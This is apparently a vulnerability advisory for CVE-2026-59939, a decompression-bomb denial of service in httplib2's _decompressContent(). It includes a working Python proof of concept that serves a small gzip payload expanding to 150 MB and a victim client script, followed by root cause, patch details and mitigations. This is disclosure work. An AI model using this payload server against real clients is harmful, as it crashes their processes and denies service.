CVE-2026-59939: httplib2 Decompression Bomb Denial of Service
A malicious HTTP server can send httplib2 a tiny gzip or deflate response that expands to hundreds of megabytes in memory, crashing the client process with no authentication required.

The problem
The _decompressContent() function in httplib2/__init__.py calls gzip.GzipFile(...).read() and zlib.decompress() with no size argument. Both calls expand the full compressed body into a single in-memory bytes object with no upper bound.
Any HTTP server an application talks to, including a man-in-the-middle on a plain HTTP connection, can trigger this. No authentication, no special client configuration, and no user interaction is needed. The decompressed data grows until the process hits MemoryError or the OS OOM-killer terminates it.
Proof of concept
A working proof-of-concept for CVE-2026-59939 in httplib2, with the exact payload below.
# Step 1 - run this as the attacker-controlled server
#!/usr/bin/env python3
import gzip, http.server, io, socketserver
UNCOMPRESSED_SIZE = 150 * 1024 * 1024 # 150 MB
def make_payload():
buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode='wb', compresslevel=9) as gz:
chunk = b'A' * (1024 * 1024)
for _ in range(UNCOMPRESSED_SIZE // len(chunk)):
gz.write(chunk)
return buf.getvalue()
PAYLOAD = make_payload() # ~150 KB compressed -> 150 MB decompressed
class Handler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-Type', 'application/octet-stream')
self.send_header('Content-Encoding', 'gzip')
self.send_header('Content-Length', str(len(PAYLOAD)))
self.end_headers()
self.wfile.write(PAYLOAD)
def log_message(self, fmt, *args): pass
with socketserver.TCPServer(('127.0.0.1', 8000), Handler) as httpd:
print(f'Payload: {len(PAYLOAD)} bytes compressed -> {UNCOMPRESSED_SIZE} bytes decompressed')
httpd.serve_forever()
# Step 2 - victim client (separate terminal)
#!/usr/bin/env python3
import resource, httplib2
LIMIT_MB = 180
limit = LIMIT_MB * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))
http = httplib2.Http(timeout=5)
try:
response, content = http.request('http://127.0.0.1:8000/')
print(f'Received {len(content)} bytes')
except MemoryError:
print(f'MemoryError: decompression bomb exhausted {LIMIT_MB} MB limit')
# ~150 KB payload expanded to 150 MB (~1029x amplification)The root cause is two unbounded calls in _decompressContent(): gzip.GzipFile(fileobj=io.BytesIO(new_content)).read() (gzip path) and zlib.decompress(content, zlib.MAX_WBITS) (deflate path). Both return the fully decompressed content as a single bytes object with no size limit, and the function is called automatically on every response bearing a Content-Encoding: gzip or deflate header.
The patch in 0.32.0 replaced these bare calls with bounded, chunked decompression controlled by four new limits: a hard maximum output size (httplib2_decode_limit_hard), a safe-size threshold (httplib2_decode_limit_safe), a compression ratio ceiling (httplib2_decode_limit_ratio), and a per-chunk read size (httplib2_decode_limit_chunk).
Any response that exceeds these limits now raises an error instead of expanding unbounded into memory. CWE-400 / CWE-409 / CWE-770.
The fix
Upgrade httplib2 to 0.32.0. The patched release ships bounded decompression with hard size, safe-size, ratio, and chunk limits; oversized payloads are rejected with an exception rather than expanded in memory. If an immediate upgrade is blocked, apply a network-layer response-size limit (proxy or WAF) as a short-term mitigation.
Reported by Liyi Zhou, Ziyue Wang, Strick, Maurice, Chenchen Yu (University of Sydney Security Research Team).
Related research
- high · 7.5CVE-2026-59200CVE-2026-59200: Pillow PdfParser Decompression Bomb DoS
- high · 7.5CVE-2026-50271CVE-2026-50271: ddtrace Uncontrolled Resource Consumption via W3C Baggage Header Parsing
- high · 7.5CVE-2026-49476CVE-2026-49476: soupsieve Memory Exhaustion via Unbounded Selector List
- highCVE-2026-59936CVE-2026-59936: pypdf Infinite Loop via Unterminated Inline Image